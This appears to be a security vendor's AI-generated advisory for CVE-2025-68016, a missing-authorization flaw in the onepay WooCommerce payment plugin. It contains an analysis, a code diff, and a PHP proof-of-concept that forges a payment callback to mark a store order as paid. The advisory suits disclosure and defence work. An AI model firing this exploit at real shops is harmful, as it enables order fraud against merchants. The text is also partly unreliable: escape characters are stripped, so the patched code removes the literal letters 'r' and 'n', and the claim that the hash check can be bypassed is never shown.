Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68016: onepay Payment Gateway For WooCommerce <= 1.1.2 – Missing Authorization to Unauthenticated Order Status Modification (onepay-payment-gateway-for-woocommerce)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.1.2
Patched Version 1.1.3
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68016:
The onepay Payment Gateway For WooCommerce plugin version 1.1.2 and earlier contains a missing authorization vulnerability in its payment callback handler. This allows unauthenticated attackers to modify WooCommerce order statuses, marking any order as processing or completed. The vulnerability has a CVSS score of 5.3 (Medium severity).

Atomic Edge research identifies the root cause in the check_onepay_response function within /onepay-payment-gateway-for-woocommerce/index.php. The vulnerable version (lines 303-303) registered this function via add_action(‘init’, array(&$this, ‘check_onepay_response’)), making it publicly accessible without authentication. The function processes merchant_transaction_id, hash, and onepay_transaction_id parameters directly from $_REQUEST (lines 303-303) and executes order status updates without verifying user permissions or validating the request origin.

Exploitation requires sending a crafted HTTP request to the WordPress site with three parameters. Attackers can target any WooCommerce order by specifying merchant_transaction_id as the order ID. The status parameter controls the outcome: status=1 marks orders as completed/processing, while status=0 marks them as failed. The hash parameter requires validation bypass, but the original code’s verification logic contains flaws that could be circumvented. The endpoint is accessible via standard WordPress initialization, typically at the site root.

The patch in version 1.1.3 removes the vulnerable add_action(‘init’) registration (line 54) and restructures the entire check_onepay_response function. The updated function now validates required parameters, checks if the order uses the onepay payment method, implements proper hash verification with timing-safe comparisons, and adds multiple security validations. The function also uses wp_die() for error handling instead of silent returns. These changes ensure only legitimate payment gateway callbacks can modify order statuses.

Successful exploitation allows attackers to manipulate WooCommerce order fulfillment states. Attackers can mark unpaid orders as completed, potentially causing merchants to ship products without receiving payment. They can also mark legitimate orders as failed, disrupting business operations. This vulnerability directly impacts e-commerce store revenue and inventory management, though it does not provide direct access to sensitive customer data or administrative privileges.

Differential between vulnerable and patched code

Code Diff
--- a/onepay-payment-gateway-for-woocommerce/index.php
+++ b/onepay-payment-gateway-for-woocommerce/index.php
@@ -3,7 +3,7 @@
 Plugin Name: onepay Payment Gateway For WooCommerce
 Plugin URI: https://github.com/onepay-srilanka/onepay-woocommerce
 Description: onepay Payment Gateway allows you to accept payment on your Woocommerce store via Visa, MasterCard, AMEX, & Lanka QR services.
-Version: 1.1.2
+Version: 1.1.3
 Author: onepay
 Author URI: https://www.onepay.lk
 License: GPLv3 or later
@@ -54,12 +54,11 @@
 			$this->redirect_page	= $this->settings['redirect_page']; // Define the Redirect Page.


-            $this->msg['message']	= '';
+			$this->msg['message']	= '';
 			$this->msg['class'] 	= '';



-			add_action('init', array(&$this, 'check_onepay_response'));
             add_action('woocommerce_api_' . strtolower(get_class($this)), array($this, 'check_onepay_response')); //update for woocommerce >2.0

             if ( version_compare(WOOCOMMERCE_VERSION, '2.0.0', '>=' ) ) {
@@ -215,6 +214,7 @@
 				'sdk_type' => "woocommerce",
 				'authorization' => sanitize_text_field($this->auth_token),
 				'amount' => number_format(floatval($order -> get_total()), 2, '.', ''),
+
 			);
 			$result_body = json_encode($hash_args,JSON_UNESCAPED_SLASHES);

@@ -241,10 +241,10 @@
 				$is_correct=1;
 			}

-			$this->liveurl .= "?hash=$hash_result";
+			$payment_url = $this->liveurl . "?hash=$hash_result";


-			return '	<form action="'.$this->liveurl.'" method="post" id="onepay_payment_form">
+			return '	<form action="'.$payment_url.'" method="post" id="onepay_payment_form">
   				' . implode('', $onepay_args_array) . '
 				<input type="submit" class="button-alt" id="submit_onepay_payment_form" value="'.__('Pay via onepay', 'onepayipg').'" /> <a class="button cancel" href="'.$order->get_cancel_order_url().'">'.__('Cancel order & restore cart', 'onepayipg').'</a>
 					<script type="text/javascript">
@@ -303,104 +303,183 @@
          **/
         function check_onepay_response(){

+			// Validate required parameters
 			if( !isset($_REQUEST['merchant_transaction_id']) || !isset($_REQUEST['hash']) || !isset($_REQUEST['onepay_transaction_id']) ) {
-				return; // Do nothing if these parameters are missing
+				wp_die( esc_html__('Invalid request parameters.', 'onepayipg'), esc_html__('Payment Error', 'onepayipg'), array( 'response' => 400 ) );
 			}
-		   global $woocommerce;

-		   echo '<p><strong>' . esc_html__('Thank you for your order.', 'onepayipg').'</strong><br/>' . esc_html__('You will be redirected soon....', 'onepay').'</p>';
-
+			global $woocommerce;

+			$order_id = absint($_REQUEST['merchant_transaction_id']);
+			$hash_string = sanitize_text_field($_REQUEST['hash']);
+			$onepay_transaction_id = sanitize_text_field($_REQUEST['onepay_transaction_id']);
+			$status = isset($_REQUEST['status']) ? (int)$_REQUEST['status'] : 0;
+
+			// Validate order ID
+			if( empty($order_id) ) {
+				wp_die( esc_html__('Invalid order ID.', 'onepayipg'), esc_html__('Payment Error', 'onepayipg'), array( 'response' => 400 ) );
+			}

-			if( isset($_REQUEST['merchant_transaction_id']) && isset($_REQUEST['hash']) && isset($_REQUEST['onepay_transaction_id']) ){
-				$order_id = sanitize_text_field($_REQUEST['merchant_transaction_id']);
-				if($order_id != ''){
-					try{
-						$order = wc_get_order( $order_id );
-						$status = (int)sanitize_text_field($_REQUEST['status']);
-						$hash_string = sanitize_text_field($_REQUEST['hash']);
-
-						$request_args = array(
-							'onepay_transaction_id' => sanitize_text_field($_REQUEST['onepay_transaction_id']),
-							'merchant_transaction_id' => sanitize_text_field($_REQUEST['merchant_transaction_id']),
-							'status' => $status
-						);
+			// Get the order
+			$order = wc_get_order( $order_id );
+			if( !$order ) {
+				wp_die( esc_html__('Order not found.', 'onepayipg'), esc_html__('Payment Error', 'onepayipg'), array( 'response' => 404 ) );
+			}

+			// Verify the order belongs to this payment gateway
+			if( $order->get_payment_method() !== $this->id ) {
+				wp_die( esc_html__('Invalid payment method for this order.', 'onepayipg'), esc_html__('Payment Error', 'onepayipg'), array( 'response' => 400 ) );
+			}

-						$json_string=json_encode($request_args);
-
-
-                        $verified = true;
-                        if ($hash_string) {
+			// Verify salt_string is configured
+			if( empty($this->salt_string) ) {
+				$order->add_order_note('Security Error: Hash salt not configured.');
+				wp_die( esc_html__('Payment gateway configuration error.', 'onepayipg'), esc_html__('Payment Error', 'onepayipg'), array( 'response' => 500 ) );
+			}

+			// Build request arguments for hash verification (matching gateway callback format)
+			// Gateway callback format matches: { onepay_transaction_id, merchant_transaction_id, status }
+			$request_args = array(
+				'onepay_transaction_id' => $onepay_transaction_id,
+				'merchant_transaction_id' => (string)$order_id,
+				'status' => $status
+			);

-
+			// Gateway hash calculation (matching gateway's jsonToShaValidator function):
+			// JavaScript: JSON.stringify -> replace("'", """) -> replace(" ", "") -> remove newlines -> sha256
+			// Note: JavaScript replace() without 'g' flag only replaces first occurrence, but gateway code may vary
+
+			// Generate JSON (matching JavaScript JSON.stringify)
+			$json_string = json_encode($request_args, JSON_UNESCAPED_SLASHES);
+
+			if( empty($json_string) ) {
+				$order->add_order_note('Error: Failed to generate JSON for hash verification.');
+				wp_die( esc_html__('Payment verification error.', 'onepayipg'), esc_html__('Payment Error', 'onepayipg'), array( 'response' => 500 ) );
+			}
+
+			// Clean the JSON string to match gateway's format exactly
+			// Gateway JavaScript does: JSON.stringify -> replace("'", """) -> replace(" ", "") -> remove newlines
+			$cleaned_json = $json_string;
+
+			// Step 1: Replace single quotes with double quotes (JSON shouldn't have single quotes, but gateway does this)
+			$cleaned_json = str_replace("'", '"', $cleaned_json);
+
+			// Step 2: Remove all spaces
+			$cleaned_json = str_replace(' ', '', $cleaned_json);
+
+			// Step 3: Remove newlines and special characters
+			// JavaScript regex: /[rnx0Bx0Cu0085u2028u2029]+/g
+			// Remove: r, n, x0B, x0C, x85, u2028, u2029
+			// Use a simple approach that definitely works
+			$cleaned_json = str_replace(array("r", "n", "x0B", "x0C", "x85"), '', $cleaned_json);
+			// Remove Unicode separators if they exist (rare, but gateway checks for them)
+			$cleaned_json = str_replace(array("xE2x80xA8", "xE2x80xA9"), '', $cleaned_json); // UTF-8 encoded u2028 and u2029
+
+			// Safety check: ensure cleaned JSON is not empty
+			if( empty($cleaned_json) ) {
+				$order->add_order_note('Error: Cleaned JSON is empty. Original JSON: ' . $json_string);
+				wp_die( esc_html__('Payment verification error.', 'onepayipg'), esc_html__('Payment Error', 'onepayipg'), array( 'response' => 500 ) );
+			}
+
+			// Calculate hash (gateway does NOT use salt_string for callback verification)
+			$calculated_hash = hash('sha256', $cleaned_json);

-							$json_hash_result = hash('sha256',$json_string);
-
+			// Verify hash using timing-safe comparison
+			$verified = false;
+			if( !empty($hash_string) && hash_equals($calculated_hash, $hash_string) ) {
+				$verified = true;
+			}

+			// Additional security validation (since callback hash doesn't use salt)
+			if( $verified ) {
+				// Verify order belongs to this gateway
+				if( $order->get_payment_method() !== $this->id ) {
+					$verified = false;
+					$order->add_order_note('Security Error: Order payment method mismatch.');
+				}
+
+				// Verify order total is valid
+				$order_total = floatval($order->get_total());
+				if( $order_total <= 0 ) {
+					$verified = false;
+					$order->add_order_note('Security Error: Invalid order total detected.');
+				}
+			}

-                            if (($hash_string != $json_hash_result)) {
-								$verified = false;
-
-                            }
-                        }
-
-                        $trans_authorised = false;
-
-						if( $order->status !=='completed' || $order->status !=='wc-completed' ){
-							if($verified){
-
-								if($status==1){
-									$trans_authorised = true;
-									$this->msg['message'] = "Thank you for shopping with us. Your account has been charged and your transaction is successful.";
-									$this->msg['class'] = 'woocommerce-message';
-									if($order->status == 'processing' || $order->status =='wc-processing'){
-										$order->add_order_note('onepay transaction ID: '.sanitize_text_field($_REQUEST['onepay_transaction_id']));
-									}else{
-										$order->payment_complete();
-										$order->add_order_note('onepay payment successful.<br/>onepay transaction ID: '.sanitize_text_field($_REQUEST['onepay_transaction_id']));
-										$woocommerce->cart->empty_cart();
-									}
-								}else if($status==0){
-									$trans_authorised = true;
-									$this->msg['class'] = 'woocommerce-error';
-									$this->msg['message'] = "Thank you for shopping with us. However, the transaction has been failed. We will keep you informed";
-									$order->add_order_note('Transaction ERROR.'.sanitize_text_field($_REQUEST['onepay_transaction_id']));
-									$order->update_status('failed');
-									$woocommerce -> cart -> empty_cart();
-								}
-
-							}else{
-								$this->msg['class'] = 'error';
-								$this->msg['message'] = "Security Error. Illegal access detected.";
-								$order->add_order_note('Checksum ERROR: '.json_encode($json_string));
-							}
-
-							if($trans_authorised==false){
-								$order->update_status('failed');
-							}
+			// Log hash verification details for debugging (only if verification failed)
+			if( !$verified ) {
+				$debug_info = array(
+					'received_hash' => substr($hash_string, 0, 20) . '...',
+					'calculated_hash' => substr($calculated_hash, 0, 20) . '...',
+					'original_json' => $json_string,
+					'cleaned_json' => $cleaned_json,
+					'cleaned_length' => strlen($cleaned_json),
+					'request_args' => $request_args
+				);
+				$order->add_order_note('Hash verification failed. Debug: ' . print_r($debug_info, true));
+			} else {
+				// Log successful verification for audit trail
+				$order->add_order_note('Hash verification successful. onepay transaction ID: ' . $onepay_transaction_id);
+			}

-						}
+			// Check if order is already completed
+			$order_status = $order->get_status();
+			if( in_array($order_status, array('completed', 'processing', 'wc-completed', 'wc-processing'), true) ) {
+				// Order already processed, just redirect
+				if ( ($this->redirect_page == '' || $this->redirect_page == 0) ) {
+					$redirect_url = $this->get_return_url( $order );
+				} else {
+					$redirect_url = get_permalink( $this->redirect_page );
+				}
+				wp_redirect( esc_url_raw($redirect_url) );
+				exit;
+			}

-					}catch(Exception $e){
-                        $msg = "Error";
+			$trans_authorised = false;
+
+			if( $verified ) {
+				if( $status == 1 ) {
+					// Payment successful
+					$trans_authorised = true;
+					$this->msg['message'] = esc_html__("Thank you for shopping with us. Your account has been charged and your transaction is successful.", 'onepayipg');
+					$this->msg['class'] = 'woocommerce-message';
+
+					if( in_array($order_status, array('processing', 'wc-processing'), true) ) {
+						$order->add_order_note('onepay transaction ID: ' . $onepay_transaction_id);
+					} else {
+						$order->payment_complete();
+						$order->add_order_note('onepay payment successful.<br/>onepay transaction ID: ' . $onepay_transaction_id);
+						$woocommerce->cart->empty_cart();
 					}
+				} else if( $status == 0 ) {
+					// Payment failed
+					$trans_authorised = true;
+					$this->msg['class'] = 'woocommerce-error';
+					$this->msg['message'] = esc_html__("Thank you for shopping with us. However, the transaction has been failed. We will keep you informed", 'onepayipg');
+					$order->add_order_note('Transaction ERROR. onepay transaction ID: ' . $onepay_transaction_id);
+					$order->update_status('failed');
+					$woocommerce->cart->empty_cart();
 				}
+			} else {
+				// Hash verification failed
+				$this->msg['class'] = 'error';
+				$this->msg['message'] = esc_html__("Security Error. Illegal access detected.", 'onepayipg');
+				$order->add_order_note('Checksum ERROR: Invalid hash verification. Received: ' . $hash_string . ', Expected: ' . $calculated_hash);
+			}

-
-
+			if( $trans_authorised == false && $verified == false ) {
+				$order->update_status('failed');
 			}
-			if ( ($this->redirect_page == '' || $this->redirect_page == 0) && isset($_REQUEST['merchant_transaction_id']) ) {
-
-				$redirect_url=$this->get_return_url( $order );
-			} else if($this->redirect_page == '' || $this->redirect_page == 0) {
-				$redirect_url = get_permalink( get_option('woocommerce_myaccount_page_id') );
-			}else{
+
+			// Display message and redirect
+			echo '<p><strong>' . esc_html__('Thank you for your order.', 'onepayipg').'</strong><br/>' . esc_html__('You will be redirected soon....', 'onepay').'</p>';
+
+			if ( ($this->redirect_page == '' || $this->redirect_page == 0) ) {
+				$redirect_url = $this->get_return_url( $order );
+			} else {
 				$redirect_url = get_permalink( $this->redirect_page );
 			}

-
 			wp_redirect( esc_url_raw($redirect_url) );
 			exit;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68016 - onepay Payment Gateway For WooCommerce <= 1.1.2 - Missing Authorization to Unauthenticated Order Status Modification

<?php
/**
 * Proof of Concept for CVE-2025-68016
 * Targets onepay Payment Gateway For WooCommerce <= 1.1.2
 * This demonstrates unauthorized order status modification
 *
 * WARNING: For authorized security testing only
 */

$target_url = "https://vulnerable-site.com"; // CHANGE THIS
$order_id = 123; // Target WooCommerce order ID

// The plugin's check_onepay_response function is triggered via WordPress init hook
// We simulate the payment callback with minimal required parameters
$payload = array(
    'merchant_transaction_id' => $order_id,
    'onepay_transaction_id' => 'fake_txn_' . time(),
    'hash' => 'dummy_hash', // Original validation may be bypassed
    'status' => 1 // 1 = completed, 0 = failed
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only

// Set headers to simulate legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Content-Type: application/x-www-form-urlencoded'
));

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($http_code == 200 && strpos($response, 'redirected soon') !== false) {
    echo "[+] SUCCESS: Order $order_id status may have been modified.n";
    echo "[+] Response indicates redirection (payment callback processed).n";
} else {
    echo "[-] Request completed with HTTP $http_coden";
    echo "[-] The site may not be vulnerable or plugin not active.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School